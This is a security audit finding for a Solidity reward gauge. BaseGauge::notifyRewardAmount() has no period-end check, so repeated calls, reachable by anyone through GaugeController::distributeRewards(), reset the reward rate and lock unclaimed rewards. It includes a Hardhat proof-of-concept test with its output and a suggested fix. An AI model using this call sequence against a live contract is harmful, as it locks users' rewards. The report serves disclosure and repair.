Summary
The BaseGauge::notifyRewardAmount() function lacks a time check, allowing malicious users to lock rewards.
Vulnerability Details
The BaseGauge::notifyRewardAmount() function calls the internal notifyReward() function to compute and update the rewardRate. This process resets the rewardRate, and if the previous reward distribution period has not yet ended, any remaining undistributed rewards from that period become locked in the contract.
function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
@> rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
function notifyReward(
PeriodState storage state,
uint256 amount,
uint256 maxEmission,
uint256 periodDuration
) internal view returns (uint256) {
if (amount > maxEmission) revert RewardCapExceeded();
if (amount + state.distributed > state.emission) {
revert RewardCapExceeded();
}
@> uint256 rewardRate = amount / periodDuration;
if (rewardRate == 0) revert ZeroRewardRate();
return rewardRate;
}
Poc
Add the following test to test/unit/core/governance/gauges/RAACGauge.test.js and execute it:
describe("Reward lost", () => {
it("Normal execution", async () => {
await veRAACToken.connect(user1).approve(raacGauge.getAddress(), ethers.MaxUint256);
await raacGauge.connect(user1).stake(ethers.parseEther("100"));
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
const user1BalanceStart = await rewardToken.balanceOf(user1.address);
await time.increase(WEEK);
await raacGauge.connect(user1).getReward();
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK);
await raacGauge.connect(user1).getReward();
const user1BalanceEnd = await rewardToken.balanceOf(user1.address);
console.log("Actual amount of reward received:",user1BalanceEnd - user1BalanceStart);
});
it("Poc", async () => {
await veRAACToken.connect(user1).approve(raacGauge.getAddress(), ethers.MaxUint256);
await raacGauge.connect(user1).stake(ethers.parseEther("100"));
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await raacGauge.notifyRewardAmount(ethers.parseEther("500"));
const user1BalanceStart = await rewardToken.balanceOf(user1.address);
await time.increase(WEEK);
await raacGauge.connect(user1).getReward();
const user1BalanceEnd = await rewardToken.balanceOf(user1.address);
console.log("Actual amount of reward received:",user1BalanceEnd - user1BalanceStart);
});
});
output:
RAACGauge
Reward lost
Actual amount of reward received: 380000313n
✔ Normal execution (59ms)
Actual amount of reward received: 94999999n
✔ Poc
Impact
Without a time check, calling BaseGauge::notifyRewardAmount() before the current reward period has ended can cause rewards from the previous period to become locked within the contract, preventing users from claiming their full entitled rewards.
Although this function includes the onlyController modifier and is intended to be invoked by GaugeController::distributeRewards(), it does not enforce strict access control. This oversight allows malicious actors to repeatedly overwrite reward distributions, leading to locked rewards within the contract.
function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
Tools Used
Manual Review
Recommendations
To prevent reward loss, introduce a time check in notifyRewardAmount() similar to the updatePeriod() function. This ensures that a new reward period cannot start until the previous one has ended.
function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
+ uint256 currentTime = block.timestamp;
+ uint256 periodEnd = periodState.periodStartTime + getPeriodDuration();
+ if (currentTime < periodEnd) {
+ revert PeriodNotElapsed();
+ }
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
